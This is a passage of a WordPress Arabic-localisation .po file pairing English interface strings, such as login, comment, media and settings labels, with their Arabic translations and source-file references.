#: wp-includes/class-wp-customize-manager.php:5134
#: wp-includes/class-wp-xmlrpc-server.php:589
#: wp-includes/js/dist/core-data.js:2498 wp-admin/install.php:114
#: wp-admin/options-general.php:76 wp-admin/network/site-new.php:227
msgid "Site Title"
msgstr "اسم الموقع"

#: wp-login.php:974
msgid "Strength indicator"
msgstr "مؤشر القوة"

#: wp-includes/general-template.php:526 wp-login.php:1403 wp-login.php:1452
#: wp-admin/install.php:227 wp-admin/install.php:446
#: wp-admin/includes/network.php:708
msgid "Log In"
msgstr "دخول"

#. translators: Sites menu item.
#: wp-includes/admin-bar.php:558
#: wp-admin/includes/class-wp-ms-users-list-table.php:197
#: wp-admin/network/menu.php:51 wp-admin/network/sites.php:21
#: wp-admin/network/sites.php:367
msgid "Sites"
msgstr "المواقع"

#: wp-includes/admin-bar.php:522 wp-admin/menu.php:29 wp-admin/my-sites.php:38
msgid "My Sites"
msgstr "مواقعي"

#: wp-includes/class-wp-editor.php:1325 wp-includes/media-template.php:1198
#: wp-includes/widgets/class-wp-widget-media-image.php:84
#: wp-includes/js/dist/block-editor.js:13031
#: wp-includes/js/dist/block-editor.js:13610
#: wp-includes/js/dist/block-editor.js:45823
#: wp-includes/js/dist/block-library.js:39025
#: wp-includes/js/dist/block-library.js:39035
#: wp-includes/js/dist/block-library.js:50732 wp-admin/options-media.php:70
msgid "Height"
msgstr "ارتفاع"

#: wp-includes/class-wp-taxonomy.php:628
msgid "Separate tags with commas"
msgstr "افصل بين الوسوم بفواصل"

#. translators: 1: Comment date, 2: Comment time.
#. translators: Publish box date string. 1: Date, 2: Time.
#. translators: 1: Post date, 2: Post time.
#. translators: Publish box date string. 1: Date, 2: Time. See
#. https://www.php.net/manual/datetime.format.php
#: wp-includes/class-walker-comment.php:354
#: wp-includes/class-walker-comment.php:454 wp-admin/comment.php:219
#: wp-admin/edit-form-advanced.php:173 wp-admin/edit-form-comment.php:146
#: wp-admin/includes/class-wp-comments-list-table.php:1003
#: wp-admin/includes/class-wp-posts-list-table.php:1168
#: wp-admin/includes/meta-boxes.php:232 wp-admin/includes/meta-boxes.php:439
msgid "%1$s at %2$s"
msgstr "%1$s الساعة %2$s"

#. translators: Network menu item.
#: wp-includes/admin-bar.php:407 wp-includes/admin-bar.php:548
#: wp-includes/admin-bar.php:668 wp-includes/deprecated.php:2812
#: wp-includes/deprecated.php:2814 wp-includes/js/dist/edit-site.js:5676
#: wp-admin/index.php:33 wp-admin/menu.php:24 wp-admin/my-sites.php:128
#: wp-admin/user/menu.php:10
#: wp-admin/includes/class-wp-ms-sites-list-table.php:703
#: wp-admin/network/index.php:21 wp-admin/network/menu.php:11
#: wp-admin/network/site-info.php:138 wp-admin/network/site-settings.php:95
#: wp-admin/network/site-themes.php:180 wp-admin/network/site-users.php:225
msgid "Dashboard"
msgstr "الرئيسية"

#: wp-includes/comment-template.php:965
msgid "No Comments"
msgstr "لا توجد تعليقات"

#. translators: %s: Author's display name.
#: wp-includes/author-template.php:243
msgid "Visit %s&#8217;s website"
msgstr "زيارة موقع %s"

#: wp-includes/comment-template.php:1938
msgid "Click here to cancel reply."
msgstr "انقر هنا لإلغاء الرد."

#: wp-includes/blocks/comment-content.php:42
#: wp-includes/class-walker-comment.php:313
#: wp-includes/class-walker-comment.php:417
msgid "Your comment is awaiting moderation."
msgstr "تعليقك في انتظار المراجعة."

#: wp-includes/comment-template.php:2495 wp-admin/user-edit.php:550
#: wp-admin/user-new.php:531
msgid "Website"
msgstr "الموقع الإلكتروني"

#: wp-includes/link-template.php:2538 wp-includes/link-template.php:2691
msgid "Next Page &raquo;"
msgstr "الصفحة التالية &laquo;"

#: wp-includes/category-template.php:557 wp-includes/class-wp-taxonomy.php:632
msgid "No categories"
msgstr "لا توجد تصنيفات"

#: wp-includes/deprecated.php:2691 wp-admin/network/settings.php:336
msgid "First Post"
msgstr "المقالة الأولى"

#. translators: %s: Author's display name.
#: wp-includes/author-template.php:322 wp-includes/author-template.php:535
msgid "Posts by %s"
msgstr "مقالات %s"

#. translators: %s: Category name.
#: wp-includes/class-walker-category.php:171
msgid "Feed for all posts filed under %s"
msgstr "خلاصة جميع المقالات المدرجة تحت %s"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-xmlrpc-server.php:604 wp-admin/options-general.php:380
#: wp-admin/options-general.php:385
msgid "Time Format"
msgstr "صيغة الوقت"

#: wp-includes/comment-template.php:1717
msgid "Log in to Reply"
msgstr "قم بتسجيل الدخول للرد"

#: wp-includes/class-wp-widget.php:144 wp-admin/includes/widgets.php:276
#: wp-admin/widgets-form.php:292
msgid "There are no options for this widget."
msgstr "لا توجد أي خيارات لهذا الودجت."

#: wp-includes/theme-compat/comments.php:72
msgid "Comments are closed."
msgstr "التعليقات مغلقة."

#: wp-includes/class-wp-post-type.php:833
msgctxt "page"
msgid "Add New"
msgstr "أضف جديداً"

#. translators: %s: Login URL.
#: wp-includes/comment-template.php:2550
msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
msgstr "يجب أنت تكون <a href=\"%s\">مسجل الدخول</a> لتضيف تعليقاً."

#: wp-includes/admin-bar.php:580 wp-includes/admin-bar.php:1018
#: wp-includes/customize/class-wp-customize-themes-panel.php:82
#: wp-includes/taxonomy.php:195 wp-includes/js/dist/core-data.js:2625
#: wp-admin/includes/ms.php:1063 wp-admin/themes.php:127
#: wp-admin/themes.php:250 wp-admin/update-core.php:627
#: wp-admin/update-core.php:640 wp-admin/network/menu.php:78
#: wp-admin/network/themes.php:338
msgid "Themes"
msgstr "قوالب"

#: wp-includes/admin-bar.php:1033
#: wp-includes/class-wp-customize-widgets.php:419
#: wp-includes/functions.php:5289 wp-includes/js/dist/blocks.js:8300
#: wp-includes/js/dist/core-data.js:2552
#: wp-includes/js/dist/customize-widgets.js:2530
#: wp-includes/js/dist/edit-widgets.js:4023
#: wp-includes/js/dist/edit-widgets.js:4026
#: wp-includes/js/dist/edit-widgets.js:4482 wp-admin/widgets.php:28
msgid "Widgets"
msgstr "ودجات"

#. translators: accessibility text for the settings landmark region.
#: wp-includes/admin-bar.php:602 wp-includes/js/dist/block-library.js:1998
#: wp-includes/js/dist/block-library.js:2345
#: wp-includes/js/dist/block-library.js:3296
#: wp-includes/js/dist/block-library.js:6020
#: wp-includes/js/dist/block-library.js:9396
#: wp-includes/js/dist/block-library.js:10601
#: wp-includes/js/dist/block-library.js:11187
#: wp-includes/js/dist/block-library.js:16592
#: wp-includes/js/dist/block-library.js:19244
#: wp-includes/js/dist/block-library.js:20190
#: wp-includes/js/dist/block-library.js:23985
#: wp-includes/js/dist/block-library.js:25050
#: wp-includes/js/dist/block-library.js:27837
#: wp-includes/js/dist/block-library.js:29009
#: wp-includes/js/dist/block-library.js:37143
#: wp-includes/js/dist/block-library.js:38542
#: wp-includes/js/dist/block-library.js:38834
#: wp-includes/js/dist/block-library.js:43100
#: wp-includes/js/dist/block-library.js:44489
#: wp-includes/js/dist/block-library.js:44958
#: wp-includes/js/dist/block-library.js:44970
#: wp-includes/js/dist/block-library.js:46292
#: wp-includes/js/dist/block-library.js:47806
#: wp-includes/js/dist/block-library.js:50723
#: wp-includes/js/dist/block-library.js:52602
#: wp-includes/js/dist/block-library.js:53489
#: wp-includes/js/dist/block-library.js:53728
#: wp-includes/js/dist/block-library.js:56811
#: wp-includes/js/dist/edit-post.js:1755 wp-includes/js/dist/edit-post.js:8661
#: wp-includes/js/dist/edit-site.js:2343 wp-includes/js/dist/edit-site.js:13337
#: wp-includes/js/dist/edit-widgets.js:1320
#: wp-includes/js/dist/edit-widgets.js:3356 wp-admin/includes/ms.php:1068
#: wp-admin/menu.php:385 wp-admin/options.php:22 wp-admin/network/menu.php:109
msgid "Settings"
msgstr "الإعدادات"

#: wp-includes/class-wp-theme.php:1013
msgid "Green"
msgstr "أخضر"

#: wp-includes/class-wp-theme.php:1014
msgid "Orange"
msgstr "برتقالي"

#: wp-includes/class-wp-theme.php:1015
msgid "Pink"
msgstr "وردي"

#: wp-includes/class-wp-theme.php:1016
msgid "Purple"
msgstr "بنفسجي"

#: wp-includes/class-wp-theme.php:1017
msgid "Red"
msgstr "أحمر"

#: wp-includes/class-wp-theme.php:1018
msgid "Silver"
msgstr "فضي"

#: wp-includes/class-wp-theme.php:1020 wp-includes/js/dist/block-editor.js:3758
msgid "White"
msgstr "أبيض"

#: wp-includes/class-wp-theme.php:1021
msgid "Yellow"
msgstr "أصفر"

#: wp-includes/class-wp-theme.php:1010
msgid "Blue"
msgstr "أزرق"

#: wp-includes/class-wp-theme.php:1011
msgid "Brown"
msgstr "بني"

#: wp-includes/class-wp-theme.php:1009 wp-includes/js/dist/block-editor.js:3750
msgid "Black"
msgstr "أسود"

#: wp-includes/comment-template.php:2052 wp-includes/comment-template.php:2583
#: wp-includes/js/dist/block-library.js:8369
msgid "Leave a Reply"
msgstr "اترك تعليقاً"

#. translators: 'Label. Used to signify a layout property (eg: margin, padding)
#. will apply uniformly to all screensizes.'
#: wp-includes/js/dist/block-editor.js:50697
#: wp-includes/js/dist/components.js:39335
#: wp-includes/js/dist/components.js:62259
#: wp-includes/js/dist/components.js:62280
#: wp-includes/js/dist/edit-site.js:10756
#: wp-includes/js/dist/edit-site.js:11643 wp-admin/export.php:194
#: wp-admin/export.php:206 wp-admin/export.php:236 wp-admin/export.php:258
#: wp-admin/export.php:288 wp-admin/includes/class-wp-users-list-table.php:189
msgid "All"
msgstr "الكل"

#: wp-includes/embed.php:1180 wp-includes/js/dist/block-library.js:23121
msgid "HTML"
msgstr "HTML"

#. translators: %s: Number of confirmed requests.
#: wp-includes/post.php:666
msgid "Confirmed <span class=\"count\">(%s)</span>"
msgid_plural "Confirmed <span class=\"count\">(%s)</span>"
msgstr[0] "مؤكد <span class=\"count\">(%s)</span>"
msgstr[1] "مؤكد <span class=\"count\">(%s)</span>"
msgstr[2] "مؤكد <span class=\"count\">(%s)</span>"
msgstr[3] "مؤكد <span class=\"count\">(%s)</span>"
msgstr[4] "مؤكد <span class=\"count\">(%s)</span>"
msgstr[5] "مؤكد <span class=\"count\">(%s)</span>"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-xmlrpc-server.php:599 wp-admin/options-general.php:331
#: wp-admin/options-general.php:336
msgid "Date Format"
msgstr "صيغة التاريخ"

#: wp-includes/class-wp-xmlrpc-server.php:3932 wp-includes/comment.php:3547
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:551
msgid "Sorry, comments are closed for this item."
msgstr "عفواً، التعليقات مغلقة لهذا العنصر."

#: wp-includes/taxonomy.php:196 wp-includes/js/dist/blocks.js:8303
#: wp-includes/js/dist/edit-site.js:11178
#: wp-includes/js/dist/edit-site.js:11238
#: wp-admin/includes/class-wp-ms-themes-list-table.php:330
msgid "Theme"
msgstr "قالب"

#. translators: Hidden accessibility text.
#: wp-includes/theme-templates.php:196
msgid "Skip to content"
msgstr "تخطى إلى المحتوى"

#: wp-includes/comment-template.php:1861
msgid "Leave a Comment"
msgstr "اترك تعليقاً"

#: wp-includes/user.php:3337 wp-admin/includes/user.php:152
msgid "<strong>Error:</strong> Please enter a username."
msgstr "<strong>خطأ:</strong> يرجى إدخال اسم مستخدم."

#: wp-includes/media.php:4587 wp-includes/script-loader.php:1199
#: wp-login.php:694 wp-includes/js/dist/edit-widgets.js:3441
#: wp-includes/js/dist/editor.js:8619 wp-admin/edit-form-comment.php:245
#: wp-admin/edit-tag-form.php:298
#: wp-admin/includes/class-wp-plugins-list-table.php:608
#: wp-admin/includes/class-wp-posts-list-table.php:2039
#: wp-admin/includes/class-wp-posts-list-table.php:2041
#: wp-admin/includes/class-wp-theme-install-list-table.php:318
#: wp-admin/includes/class-wp-theme-install-list-table.php:477
#: wp-admin/includes/meta-boxes.php:401 wp-admin/includes/meta-boxes.php:402
#: wp-admin/includes/meta-boxes.php:483 wp-admin/includes/meta-boxes.php:484
#: wp-admin/includes/template.php:662 wp-admin/media.php:137
#: wp-admin/media.php:157 wp-admin/js/post.js:800 wp-admin/js/post.js:823
#: wp-admin/includes/class-wp-ms-themes-list-table.php:474
msgid "Update"
msgstr "تحديث"

#: wp-includes/blocks/categories.php:35 wp-includes/category-template.php:560
#: wp-includes/theme-compat/sidebar.php:129
#: wp-includes/widgets/class-wp-widget-categories.php:31
#: wp-includes/widgets/class-wp-widget-categories.php:48
#: wp-includes/js/dist/block-library.js:5991
#: wp-includes/js/dist/block-library.js:6043
#: wp-includes/js/dist/components.js:62264 wp-admin/edit-link-form.php:31
#: wp-admin/includes/class-wp-links-list-table.php:134
#: wp-admin/includes/upgrade.php:404
msgid "Categories"
msgstr "تصنيفات"

#: wp-includes/comment-template.php:2468
#: wp-includes/js/dist/block-library.js:46005
#: wp-includes/js/dist/block-library.js:54407
#: wp-includes/js/dist/edit-post.js:7365 wp-includes/js/dist/edit-site.js:6904
#: wp-includes/js/dist/edit-site.js:7221 wp-includes/js/dist/edit-site.js:15143
#: wp-includes/js/dist/reusable-blocks.js:358 wp-admin/edit-form-comment.php:59
#: wp-admin/includes/class-wp-application-passwords-list-table.php:28
#: wp-admin/includes/class-wp-debug-data.php:1120
#: wp-admin/includes/class-wp-debug-data.php:1215
#: wp-admin/includes/class-wp-users-list-table.php:374
#: wp-admin/includes/template.php:488 wp-admin/user-edit.php:413
#: wp-admin/includes/class-wp-ms-users-list-table.php:194
msgid "Name"
msgstr "الاسم"

#: wp-signup.php:222 wp-admin/includes/class-wp-debug-data.php:104
#: wp-admin/includes/class-wp-debug-data.php:109
#: wp-admin/includes/class-wp-debug-data.php:114
#: wp-admin/includes/class-wp-debug-data.php:119
#: wp-admin/includes/class-wp-debug-data.php:796
#: wp-admin/includes/class-wp-debug-data.php:805
#: wp-admin/includes/class-wp-debug-data.php:814
#: wp-admin/includes/class-wp-links-list-table.php:266
msgid "No"
msgstr "لا"

#. translators: accessibility text for the publish landmark region.
#: wp-includes/class-wp-customize-manager.php:4847
#: wp-includes/script-loader.php:1233 wp-includes/js/dist/block-editor.js:53468
#: wp-includes/js/dist/edit-post.js:1758 wp-includes/js/dist/edit-post.js:7075
#: wp-includes/js/dist/edit-site.js:2346
#: wp-includes/js/dist/edit-widgets.js:1323 wp-includes/js/dist/editor.js:8624
#: wp-includes/js/dist/editor.js:8827 wp-admin/customize.php:193
#: wp-admin/includes/meta-boxes.php:389 wp-admin/includes/meta-boxes.php:390
#: wp-admin/includes/meta-boxes.php:1588 wp-admin/js/post.js:797
msgid "Publish"
msgstr "نشر"

#: wp-includes/class-wp-editor.php:1216
#: wp-includes/js/dist/block-editor.js:51721 wp-admin/edit-link-form.php:34
msgid "Advanced"
msgstr "متقدم"

#: wp-includes/post-template.php:1298 wp-includes/theme-compat/sidebar.php:117
#: wp-includes/widgets/class-wp-widget-pages.php:31
#: wp-includes/widgets/class-wp-widget-pages.php:44 wp-admin/export.php:247
msgid "Pages"
msgstr "صفحات"

#: wp-includes/admin-bar.php:569 wp-admin/includes/ms.php:853
#: wp-admin/includes/ms.php:1058 wp-admin/menu.php:320 wp-admin/users.php:25
#: wp-admin/includes/class-wp-ms-sites-list-table.php:361
#: wp-admin/network/menu.php:55 wp-admin/network/users.php:34
#: wp-admin/network/users.php:69 wp-admin/network/users.php:221
#: wp-admin/network/users.php:283
msgid "Users"
msgstr "أعضاء"

#: wp-includes/class-wp-editor.php:1178 wp-includes/js/dist/components.js:44569
#: wp-admin/includes/meta-boxes.php:165 wp-admin/includes/meta-boxes.php:223
#: wp-admin/includes/template.php:894 wp-admin/js/post.js:1029
msgid "OK"
msgstr "موافق"

#: wp-includes/blocks/archives.php:28 wp-includes/general-template.php:1701
#: wp-includes/theme-compat/sidebar.php:119
#: wp-includes/widgets/class-wp-widget-archives.php:31
#: wp-includes/widgets/class-wp-widget-archives.php:44
#: wp-admin/includes/file.php:27 wp-admin/includes/upgrade.php:403
msgid "Archives"
msgstr "الأرشيف"

#: wp-includes/deprecated.php:706 wp-includes/media-template.php:828
#: wp-includes/media-template.php:855 wp-includes/media-template.php:940
#: wp-includes/media-template.php:1084 wp-includes/media-template.php:1101
#: wp-includes/media-template.php:1148 wp-includes/media-template.php:1224
#: wp-includes/media-template.php:1344 wp-includes/media-template.php:1443
#: wp-includes/script-loader.php:1045 wp-includes/js/dist/block-editor.js:37837
#: wp-includes/js/dist/block-editor.js:38054
#: wp-includes/js/dist/block-library.js:19835 wp-admin/edit-tag-form.php:186
#: wp-admin/edit-tags.php:473 wp-admin/includes/class-wp-debug-data.php:1114
#: wp-admin/includes/media.php:1151 wp-admin/includes/media.php:1279
#: wp-admin/includes/media.php:2975 wp-admin/includes/media.php:2991
msgid "None"
msgstr "بدون"

#. translators: Hidden accessibility text.
#. translators: Default privacy policy heading.
#: wp-includes/comment.php:3779 wp-includes/link-template.php:3282
#: wp-includes/link-template.php:3345 wp-admin/edit-comments.php:180
#: wp-admin/edit-comments.php:241
#: wp-admin/includes/class-wp-comments-list-table.php:503
#: wp-admin/includes/class-wp-media-list-table.php:365
#: wp-admin/includes/class-wp-media-list-table.php:367
#: wp-admin/includes/class-wp-posts-list-table.php:711
#: wp-admin/includes/class-wp-posts-list-table.php:713
#: wp-admin/includes/class-wp-posts-list-table.php:1879
#: wp-admin/includes/class-wp-privacy-policy-content.php:492
#: wp-admin/includes/file.php:20 wp-admin/includes/meta-boxes.php:1681
#: wp-admin/js/edit-comments.js:221
msgid "Comments"
msgstr "تعليقات"

#. translators: Hidden accessibility text.
#: wp-includes/blocks/comment-edit-link.php:45
#: wp-includes/class-walker-comment.php:261
#: wp-includes/class-walker-comment.php:460
#: wp-includes/class-wp-editor.php:1385
#: wp-includes/js/dist/block-editor.js:47305
#: wp-includes/js/dist/block-editor.js:48082
#: wp-includes/js/dist/block-editor.js:50922
#: wp-includes/js/dist/block-editor.js:55685
#: wp-includes/js/dist/block-library.js:8506
#: wp-includes/js/dist/block-library.js:9628
#: wp-includes/js/dist/block-library.js:35679
#: wp-includes/js/dist/block-library.js:35681
#: wp-includes/js/dist/block-library.js:35699
#: wp-includes/js/dist/block-library.js:35866
#: wp-includes/js/dist/block-library.js:56355
#: wp-includes/js/dist/edit-site.js:4102 wp-includes/js/dist/edit-site.js:7690
#: wp-includes/js/dist/edit-site.js:8134 wp-admin/comment.php:238
#: wp-admin/edit-form-comment.php:159
#: wp-admin/includes/class-walker-nav-menu-edit.php:186
#: wp-admin/includes/class-wp-comments-list-table.php:799
#: wp-admin/includes/class-wp-links-list-table.php:337
#: wp-admin/includes/class-wp-media-list-table.php:758
#: wp-admin/includes/class-wp-media-list-table.php:810
#: wp-admin/includes/class-wp-posts-list-table.php:440
#: wp-admin/includes/class-wp-posts-list-table.php:1450
#: wp-admin/includes/class-wp-terms-list-table.php:478
#: wp-admin/includes/class-wp-users-list-table.php:472
#: wp-admin/includes/dashboard.php:752 wp-admin/includes/meta-boxes.php:135
#: wp-admin/includes/meta-boxes.php:197 wp-admin/includes/meta-boxes.php:292
#: wp-admin/includes/post.php:1548
#: wp-admin/includes/class-wp-ms-sites-list-table.php:702
#: wp-admin/includes/class-wp-ms-users-list-table.php:404
#: wp-admin/includes/class-wp-ms-users-list-table.php:527
msgid "Edit"
msgstr "تحرير"

#: wp-includes/class-wp-editor.php:1248
#: wp-includes/js/dist/block-library.js:6258
#: wp-includes/js/dist/block-library.js:37719
#: wp-includes/js/dist/edit-site.js:8071 wp-includes/js/dist/edit-site.js:15157
#: wp-includes/js/dist/edit-site.js:16519 wp-includes/js/dist/editor.js:6240
#: wp-includes/js/dist/editor.js:11513
#: wp-includes/js/dist/reusable-blocks.js:372
#: wp-includes/js/dist/widgets.js:421 wp-admin/edit-form-comment.php:105
#: wp-admin/edit-link-form.php:30 wp-admin/includes/image-edit.php:107
#: wp-admin/includes/meta-boxes.php:44 wp-admin/includes/meta-boxes.php:429
#: wp-admin/includes/meta-boxes.php:1099 wp-admin/includes/meta-boxes.php:1581
#: wp-admin/includes/widgets.php:301 wp-admin/js/widgets.js:134
msgid "Save"
msgstr "حفظ"

#: wp-includes/deprecated.php:3199
msgid "The GD image library is not installed."
msgstr "مكتبة GD لتحرير الصور غير مثبتة."

#: wp-includes/class-wp-customize-nav-menus.php:1282
#: wp-includes/class-wp-editor.php:1262 wp-includes/class-wp-editor.php:1884
#: wp-includes/customize/class-wp-customize-nav-menu-item-control.php:94
#: wp-includes/embed.php:1173 wp-includes/media-template.php:880
#: wp-includes/media-template.php:1106 wp-includes/media-template.php:1229
#: wp-includes/media-template.php:1303 wp-includes/media-template.php:1394
#: wp-includes/media.php:4582 wp-includes/media.php:5232
#: wp-includes/sitemaps/class-wp-sitemaps-stylesheet.php:62
#: wp-includes/sitemaps/class-wp-sitemaps-stylesheet.php:176
#: wp-includes/widgets/class-wp-widget-media-image.php:113
#: wp-includes/js/dist/block-editor.js:46332
#: wp-includes/js/dist/block-editor.js:48266
#: wp-includes/js/dist/block-library.js:16564
#: wp-includes/js/dist/block-library.js:34112
#: wp-includes/js/dist/block-library.js:35026
#: wp-includes/js/dist/edit-post.js:7633 wp-includes/js/dist/editor.js:12388
#: wp-admin/comment.php:183 wp-admin/edit-form-comment.php:69
#: wp-admin/includes/class-walker-nav-menu-edit.php:197
#: wp-admin/includes/class-wp-links-list-table.php:133
#: wp-admin/includes/media.php:2948 wp-admin/includes/nav-menu.php:300
#: wp-admin/includes/template.php:498
#: wp-admin/includes/class-wp-ms-sites-list-table.php:358
msgid "URL"
msgstr "الرابط"

#: wp-login.php:1087 wp-admin/includes/class-wp-users-list-table.php:373
#: wp-admin/includes/file.php:2431 wp-admin/install.php:118
#: wp-admin/install.php:432 wp-admin/setup-config.php:230
#: wp-admin/user-edit.php:417 wp-admin/user-new.php:514
#: wp-admin/includes/class-wp-ms-users-list-table.php:193
#: wp-admin/network/site-users.php:304 wp-admin/network/site-users.php:338
#: wp-admin/network/user-new.php:126
msgid "Username"
msgstr "اسم المستخدم"

#: wp-includes/general-template.php:524 wp-login.php:1432
#: wp-admin/includes/class-wp-posts-list-table.php:1732
#: wp-admin/includes/file.php:2432 wp-admin/install.php:137
#: wp-admin/install.php:436 wp-admin/options-writing.php:172
#: wp-admin/setup-config.php:235 wp-admin/user-new.php:564
msgid "Password"
msgstr "كلمة المرور"

#: wp-includes/admin-bar.php:591 wp-includes/js/dist/core-data.js:2634
#: wp-includes/js/dist/edit-post.js:5885 wp-includes/js/dist/edit-site.js:16440
#: wp-admin/plugins.php:602 wp-admin/update-core.php:458
#: wp-admin/update-core.php:477 wp-admin/network/menu.php:103
#: wp-admin/network/settings.php:497
msgid "Plugins"
msgstr "إضافات"

#: wp-includes/comment-template.php:1159 wp-admin/includes/dashboard.php:880
msgid "Trackback"
msgstr "التعقيبات \"TrackBack\""

#: wp-includes/comment-template.php:1162 wp-admin/includes/dashboard.php:877
msgid "Pingback"
msgstr "التنبيهات \"Pingback\""

#. translators: Name of a comment's author after being anonymized.
#: wp-includes/class-wp-theme.php:960 wp-includes/comment-template.php:33
#: wp-includes/comment.php:3852 wp-includes/js/dist/block-library.js:9006
msgid "Anonymous"
msgstr "غير معروف"

#: wp-includes/deprecated.php:3142
msgid "Are you sure you want to do this?"
msgstr "هل أنت متأكد من رغبتك بفعل هذا؟"

#. translators: %s: Number of comments.
#: wp-includes/class-wp-editor.php:1175
#: wp-includes/js/dist/customize-widgets.js:1480
#: wp-includes/js/dist/edit-site.js:3092 wp-includes/js/dist/edit-site.js:4772
#: wp-includes/js/dist/edit-site.js:16599
#: wp-includes/js/dist/edit-widgets.js:3495 wp-includes/js/dist/editor.js:5764
#: wp-admin/edit-comments.php:307 wp-admin/edit-comments.php:318
#: wp-admin/edit.php:446 wp-admin/includes/image-edit.php:88
#: wp-admin/includes/media.php:1737 wp-admin/includes/template.php:554
#: wp-admin/includes/template.php:563 wp-admin/upload.php:71
#: wp-admin/upload.php:92
msgid "Undo"
msgstr "تراجع"

#: wp-includes/class-wp-editor.php:1176
#: wp-includes/js/dist/customize-widgets.js:1492
#: wp-includes/js/dist/edit-site.js:16635
#: wp-includes/js/dist/edit-widgets.js:3525 wp-includes/js/dist/editor.js:5722
#: wp-admin/includes/image-edit.php:89
msgid "Redo"
msgstr "إلغاء التراجع"

#. translators: %s: Comment author email.
#. translators: %s: User email address.
#: wp-includes/pluggable.php:1757 wp-includes/pluggable.php:1941
#: wp-includes/pluggable.php:2140
msgid "Email: %s"
msgstr "البريد الإلكتروني: %s"

#: wp-includes/block-editor.php:170 wp-includes/media-template.php:897
#: wp-includes/media-template.php:977 wp-includes/media-template.php:1168
#: wp-includes/media.php:4220 wp-includes/js/dist/block-editor.js:3825
#: wp-admin/includes/class-custom-background.php:630
#: wp-admin/includes/image-edit.php:288 wp-admin/includes/media.php:1194
msgid "Thumbnail"
msgstr "صورة مصغرة"

#: wp-includes/widgets/class-wp-widget-recent-comments.php:31
#: wp-includes/widgets/class-wp-widget-recent-comments.php:86
#: wp-admin/includes/dashboard.php:1100 wp-admin/includes/upgrade.php:402
msgid "Recent Comments"
msgstr "أحدث التعليقات"

#: wp-includes/widgets/class-wp-widget-rss.php:83
#: wp-admin/includes/dashboard.php:1264
msgid "Unknown Feed"
msgstr "خلاصة غير معروفة"

#: wp-includes/widgets/class-wp-widget-tag-cloud.php:49
msgid "Tags"
msgstr "وسوم"

#: wp-includes/class-wp-taxonomy.php:623
msgid "Edit Tag"
msgstr "تحرير الوسم"

#: wp-includes/class-wp-editor.php:1179 wp-includes/class-wp-editor.php:1930
#: wp-includes/media.php:4586 wp-includes/script-loader.php:1245
#: wp-includes/js/dist/block-editor.js:24536
#: wp-includes/js/dist/block-editor.js:31030
#: wp-includes/js/dist/block-editor.js:45647
#: wp-includes/js/dist/block-editor.js:48500
#: wp-includes/js/dist/block-editor.js:48503
#: wp-includes/js/dist/block-library.js:6250
#: wp-includes/js/dist/block-library.js:30912
#: wp-includes/js/dist/block-library.js:35695
#: wp-includes/js/dist/components.js:44568
#: wp-includes/js/dist/edit-post.js:7376 wp-includes/js/dist/edit-site.js:6918
#: wp-includes/js/dist/edit-site.js:7266 wp-includes/js/dist/edit-site.js:15154
#: wp-includes/js/dist/editor.js:6245 wp-includes/js/dist/editor.js:11177
#: wp-includes/js/dist/reusable-blocks.js:369 wp-admin/comment.php:247
#: wp-admin/includes/class-walker-nav-menu-edit.php:306
#: wp-admin/includes/class-wp-posts-list-table.php:2044
#: wp-admin/includes/class-wp-terms-list-table.php:700
#: wp-admin/includes/dashboard.php:206 wp-admin/includes/dashboard.php:1397
#: wp-admin/includes/file.php:2531 wp-admin/includes/image-edit.php:106
#: wp-admin/includes/media.php:1733 wp-admin/includes/media.php:2272
#: wp-admin/includes/meta-boxes.php:166 wp-admin/includes/meta-boxes.php:224
#: wp-admin/includes/template.php:510 wp-admin/includes/template.php:759
#: wp-admin/includes/template.php:895 wp-admin/nav-menus.php:1154
#: wp-admin/options-general.php:149 wp-admin/user-edit.php:540
#: wp-admin/user-edit.php:655 wp-admin/widgets-form.php:337
#: wp-admin/widgets-form.php:340 wp-admin/widgets-form.php:558
#: wp-admin/js/post.js:1030 wp-admin/network/settings.php:181
msgid "Cancel"
msgstr "إلغاء "

#. translators: accessibility text for the content landmark region.
#: wp-includes/revision.php:33 wp-includes/js/dist/block-editor.js:14955
#: wp-includes/js/dist/block-editor.js:52192
#: wp-includes/js/dist/edit-post.js:1749 wp-includes/js/dist/edit-site.js:2337
#: wp-includes/js/dist/edit-site.js:9041
#: wp-includes/js/dist/edit-widgets.js:1314 wp-admin/includes/dashboard.php:592
#: wp-admin/index.php:104
msgid "Content"
msgstr "المحتوى "

#: wp-includes/comment-template.php:1714
#: wp-includes/js/dist/block-library.js:8516
#: wp-includes/js/dist/block-library.js:9769
#: wp-admin/includes/class-wp-comments-list-table.php:821
#: wp-admin/includes/dashboard.php:760 wp-admin/js/edit-comments.js:373
#: wp-admin/js/edit-comments.js:1015
msgid "Reply"
msgstr "رد"

#: wp-includes/block-editor.php:171 wp-includes/class-wp-theme-json.php:3393
#: wp-includes/media-template.php:898 wp-includes/media-template.php:978
#: wp-includes/media-template.php:1169 wp-includes/media.php:4221
#: wp-includes/js/dist/block-editor.js:3828
#: wp-includes/js/dist/components.js:57235
#: wp-admin/includes/class-custom-background.php:631
#: wp-admin/includes/media.php:1195
msgid "Medium"
msgstr "متوسط"

#: wp-includes/block-editor.php:173 wp-includes/media-template.php:900
#: wp-includes/media-template.php:980 wp-includes/media-template.php:1171
#: wp-includes/media.php:4223 wp-includes/js/dist/block-editor.js:3834
#: wp-admin/includes/class-custom-background.php:633
#: wp-admin/includes/media.php:1197
msgid "Full Size"
msgstr "الحجم الكامل"

#: wp-includes/media-template.php:886 wp-includes/media-template.php:965
#: wp-includes/media-template.php:1157
#: wp-includes/widgets/class-wp-widget-media-image.php:72
#: wp-includes/js/dist/block-library.js:50347
#: wp-includes/js/dist/block-library.js:50348
#: wp-includes/js/dist/components.js:57380
#: wp-includes/js/dist/components.js:57381 wp-admin/includes/media.php:1245
msgid "Size"
msgstr "حجم"

#: wp-includes/class-wp-editor.php:1328 wp-includes/media-template.php:811
#: wp-admin/includes/media.php:1481 wp-admin/includes/media.php:2972
msgid "Alignment"
msgstr "محاذاة"

#: wp-includes/media-template.php:414 wp-includes/media-template.php:712
#: wp-admin/includes/media.php:1675 wp-admin/includes/media.php:3133
msgid "Edit Image"
msgstr "تحرير الصورة"

#: wp-includes/media-template.php:1095 wp-includes/media-template.php:1217
msgid "Image URL"
msgstr "رابط الصورة"

#: wp-includes/class-wp-taxonomy.php:616
msgid "All Categories"
msgstr "كل التصنيفات"

#. translators: Hidden accessibility text.
#: wp-includes/blocks/navigation.php:794
#: wp-includes/class-wp-customize-manager.php:5723
